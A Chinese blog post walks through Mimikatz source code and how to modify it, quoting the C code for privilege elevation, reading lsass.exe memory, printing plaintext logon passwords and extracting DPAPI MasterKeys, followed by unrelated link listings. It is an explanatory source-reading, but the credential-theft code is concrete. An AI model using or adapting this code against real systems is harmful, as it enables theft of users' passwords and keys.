1、前言

mimikatz框架是非常精妙的,粗浅讲一下修改的思路。

它的模块主要由各个结构体数组组成,根据传入的命令搜索执行相应命令的模块

mimikatz.c 部分代码:

NTSTATUS mimikatz_doLocal(wchar_t * input)
{
NTSTATUS status = STATUS_SUCCESS;
// 参数个数定义
int argc;
// 获取输入的值,参数个数赋值
//
wchar_t ** argv = CommandLineToArgvW(input, &argc), *module = NULL, *command = NULL, *match;
unsigned short indexModule, indexCommand;
BOOL moduleFound = FALSE, commandFound = FALSE; if(argv && (argc > 0))
{
if(match = wcsstr(argv[0], L"::"))
{
if(module = (wchar_t *) LocalAlloc(LPTR, (match - argv[0] + 1) * sizeof(wchar_t)))
{
if((unsigned int) (match + 2 - argv[0]) < wcslen(argv[0]))
//提取::号的后半段字符
command = match + 2;
//将argv[0]源内存块的内容复制到module目标内存块。
RtlCopyMemory(module, argv[0], (match - argv[0]) * sizeof(wchar_t));
}
}
else command = argv[0];
// 索引值为0,如果moduleFound为1且索引值小于模块的数目,循环执行
for(indexModule = 0; !moduleFound && (indexModule < ARRAYSIZE(mimikatz_modules)); indexModule++)
//查找模块
if(moduleFound = (!module || (_wcsicmp(module, mimikatz_modules[indexModule]->shortName) == 0)))
//查找命令
if(command)
for(indexCommand = 0; !commandFound && (indexCommand < mimikatz_modules[indexModule]->nbCommands); indexCommand++)
if(commandFound = _wcsicmp(command, mimikatz_modules[indexModule]->commands[indexCommand].command) == 0)
//调用相关模块函数
status = mimikatz_modules[indexModule]->commands[indexCommand].pCommand(argc - 1, argv + 1);

实际调用模块的方式

//模块调用,对应结构体
const KUHL_M * mimikatz_modules[] = {
&kuhl_m_standard,
&kuhl_m_crypto,
&kuhl_m_sekurlsa,
&kuhl_m_kerberos,
&kuhl_m_privilege,
&kuhl_m_process,
&kuhl_m_service,
&kuhl_m_lsadump,
&kuhl_m_ts,
&kuhl_m_event,
&kuhl_m_misc,
&kuhl_m_token,
&kuhl_m_vault,
&kuhl_m_minesweeper,
#ifdef NET_MODULE
&kuhl_m_net,
#endif
&kuhl_m_dpapi,
&kuhl_m_busylight,
&kuhl_m_sysenv,
&kuhl_m_sid,
&kuhl_m_iis,
&kuhl_m_rpc,
};

如果要添加各种变量作为功能模块。在打开解决方案后,global files目录中的globals.h文件可以添加你设置的全局变量,实现全局调用。

提权函数部分

//提权函数调用
NTSTATUS kuhl_m_privilege_debug(int argc, wchar_t * argv[])
{
return kuhl_m_privilege_simple(SE_DEBUG);
}

主要用更底层的函数,一行API实现进程提权。

NTSTATUS kuhl_m_privilege_simple(ULONG privId)
{
ULONG previousState;
NTSTATUS status;
//提升权限
// RtlAdjustPrivilege(SE_DEBUG, TRUE, FALSE, &previousState);
status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState);
if(NT_SUCCESS(status))
kprintf(L"Privilege \'%u\' OK\n", privId);
else
PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status);
return status;
}

明文获取密码部分

NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPackages, ULONG nbPackages)
{
KUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA OptionalData = {lsassPackages, nbPackages};
return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData); //明文获取密码2
}

通过调试跟进,发现是从lsass.exe中dump出内存

        //根据版本指定调用进程优先级别的函数
DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
BOOL isError = FALSE; if(!cLsass.hLsassMem)
{
status = STATUS_NOT_FOUND;
if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
{
if(pMinidumpName)
{
Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
}
else
{
Type = KULL_M_MEMORY_TYPE_PROCESS;
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
hData = OpenProcess(processRights, FALSE, pid); //打开进程
else PRINT_ERROR(L"LSASS process not found (?)\n");
}

在NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData)的回调函数中输出已经获取的明文数据

                                                        //回传数据
retCallback = callback(&sessionData, pOptionalData); //明文密码获取3

明文密码打印位置

BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_logondata(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{
PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData;
ULONG i;
//PDWORD sub = NULL;
if((pData->LogonType != Network)/* && pData->LogonType != UndefinedLogonType*/)
{
//if(IsValidSid(pData->pSid) && GetSidSubAuthorityCount(pData->pSid))
// sub = GetSidSubAuthority(pData->pSid, 0); //if(!sub || (*sub != 90 && *sub != 96))
//{
//这个函数负责获取需要打印的数据
kuhl_m_sekurlsa_printinfos_logonData(pData);
//循环输出
for(i = 0; i < pLsassData->nbPackages; i++)
{
if(pLsassData->lsassPackages[i]->Module.isPresent && lsassPackages[i]->isValid)
{
kprintf(L"\t%s :\t", pLsassData->lsassPackages[i]->Name);
pLsassData->lsassPackages[i]->CredsForLUIDFunc(pData);
kprintf(L"\n");
}
}
//}
}
return TRUE;
}

获取远程会话终端凭据部分

NTSTATUS kuhl_m_sekurlsa_dpapi(int argc, wchar_t * argv[])
{
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_dpapi, NULL); //获取全部用户Guid
return STATUS_SUCCESS;
}

在BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_dpapi(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)处是存储会话的Guid和MasterKey所在的位置。


if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(KIWI_MASTERKEY_CACHE_ENTRY)))
{
if(SecEqualLuid(pData->LogonId, &mesCredentials.LogonId))
{
kprintf(L"\t [%08x]\n\t * GUID :\t", monNb++);
kull_m_string_displayGUID(&mesCredentials.KeyUid); //获取Guid kprintf(L"\n\t * Time :\t"); kull_m_string_displayLocalFileTime(&mesCredentials.insertTime); if(aKey.address = LocalAlloc(LPTR, mesCredentials.keySize))
{
aLsass.address = (PBYTE) aLsass.address + FIELD_OFFSET(KIWI_MASTERKEY_CACHE_ENTRY, key);
if(kull_m_memory_copy(&aKey, &aLsass, mesCredentials.keySize))
{
(*pData->lsassLocalHelper->pLsaUnprotectMemory)(aKey.address, mesCredentials.keySize);
kprintf(L"\n\t * MasterKey :\t"); kull_m_string_wprintf_hex(aKey.address, mesCredentials.keySize, 0); //获取MasterKey
.....

2、效果图

执行多条命令

批量对比

【源码阅读】Mimikatz一键获取远程终端凭据与获取明文密码修改方法的更多相关文章

  1. [Go] gocron源码阅读-flag包实现命令行参数获取

    调用flag包可以方便的获取到命令行中传递的参数,比如可以实现类似nginx执行程序获取命令行参数执行不同操作的目标 package main import ( "flag" &q ...

  2. 【转】cJSON 源码阅读笔记

    前言 cjson 的代码只有 1000+ 行, 而且只是简单的几个函数的调用. 而且 cjson 还有很多不完善的地方, 推荐大家看完之后自己实现一个 封装好的功能完善的 cjson 程序. json ...

  3. 【源码阅读】Mimikatz相关资料

    Mimikatz GitHub (源码) https://github.com/gentilkiwi/mimikatz Mimikatz GitHub Wiki (包含了一些说明文档) https:/ ...

  4. 【安卓本卓】Android系统源码篇之(一)源码获取、源码目录结构及源码阅读工具简介

    前言        古人常说,“熟读唐诗三百首,不会作诗也会吟”,说明了大量阅读诗歌名篇对学习作诗有非常大的帮助.做开发也一样,Android源码是全世界最优秀的Android工程师编写的代码,也是A ...

  5. 【原】FMDB源码阅读(三)

    [原]FMDB源码阅读(三) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 FMDB比较优秀的地方就在于对多线程的处理.所以这一篇主要是研究FMDB的多线程处理的实现.而 ...

  6. 【原】FMDB源码阅读(二)

    [原]FMDB源码阅读(二) 本文转载请注明出处 -- polobymulberry-博客园 1. 前言 上一篇只是简单地过了一下FMDB一个简单例子的基本流程,并没有涉及到FMDB的所有方方面面,比 ...

  7. 【原】FMDB源码阅读(一)

    [原]FMDB源码阅读(一) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 说实话,之前的SDWebImage和AFNetworking这两个组件我还是使用过的,但是对于 ...

  8. 【原】AFNetworking源码阅读(六)

    [原]AFNetworking源码阅读(六) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 这一篇的想讲的,一个就是分析一下AFSecurityPolicy文件,看看AF ...

  9. 【原】AFNetworking源码阅读(五)

    [原]AFNetworking源码阅读(五) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 上一篇中提及到了Multipart Request的构建方法- [AFHTTP ...

随机推荐

  1. Oracle Profile 的简单说明

    1. 查看已经有的oracle 的profile 首先profile的解释 我理解为 是一个 简略的配置文件, 跟linux的 bash文件的配置信息类似 bash_profile . select ...

  2. 实战基于Spring Boot 2的WebFlux和mLab搭建反应式Web

    Spring Framework 5带来了新的Reactive Stack非阻塞式Web框架:Spring WebFlux.作为与Spring MVC并行使用的Web框架,Spring WebFlux ...

  3. Codeforces 1097 G. Vladislav and a Great Legend

    题目链接 一道好题. 题意:给定一棵\(n\)个点的树,求: \[\sum_{S\subseteq \{1,2,\dots,n\}}f(S)^k\] 其中\(f(S)\)代表用树边将点集\(S\)连通 ...

  4. 51Nod 1199 Money out of Thin Air (树链剖分+线段树)

    1199 Money out of Thin Air  题目来源: Ural 基准时间限制:1 秒 空间限制:131072 KB 分值: 80 难度:5级算法题  收藏  关注 一棵有N个节点的树,每 ...

  5. 洛谷P3348 [ZJOI2016]大森林(LCT,虚点,树上差分)

    洛谷题目传送门 思路分析 最简单粗暴的想法,肯定是大力LCT,每个树都来一遍link之类的操作啦(T飞就不说了) 考虑如何优化算法.如果没有1操作,肯定每个树都长一样.有了1操作,就来仔细分析一下对不 ...

  6. 洛谷P4219 [BJOI2014]大融合(LCT)

    LCT维护子树信息的思路总结与其它问题详见我的LCT总结 思路分析 动态连边,LCT题目跑不了了.然而这题又有点奇特的地方. 我们分析一下,查询操作就是要让我们求出砍断这条边后,x和y各自子树大小的乘 ...

  7. BZOJ2322 [BeiJing2011]梦想封印 【set + 线性基】

    题目链接 BZOJ2322 题解 鉴于BZOJ2115,要完成此题,就简单得多了 对图做一遍\(dfs\),形成\(dfs\)树,从根到每个点的路径形成一个权值,而每个返祖边形成一个环 我们从根出发去 ...

  8. 前端学习 -- Css -- 选择器的优先级

    当使用不同的选择器,选中同一个元素时并且设置相同的样式时,这时样式之间产生了冲突,最终到底采用哪个选择器定义的样式,由选择器的优先级(权重)决定优先级高的优先显示. 优先级的规则 内联样式 , 优先级 ...

  9. 个推Node.js 微服务实践:基于容器的一站式命令行工具链

    作者:个推Node.js 开发工程师 之诺 背景与摘要 由于工程数量的快速增长,个推在实践基于 Node.js 的微服务开发的过程中,遇到了如下问题: 1. 每次新建项目都需要安装一次依赖,这些依赖之 ...

  10. 解决VMware虚拟机网络时长中断的问题

    1. 操作环境 VMware VMware® Workstation 14 Pro Windows Win7旗舰版 2. 操作过程   VMware虚拟机在使用一段时间后,经常会出现时常断网的情况,而 ...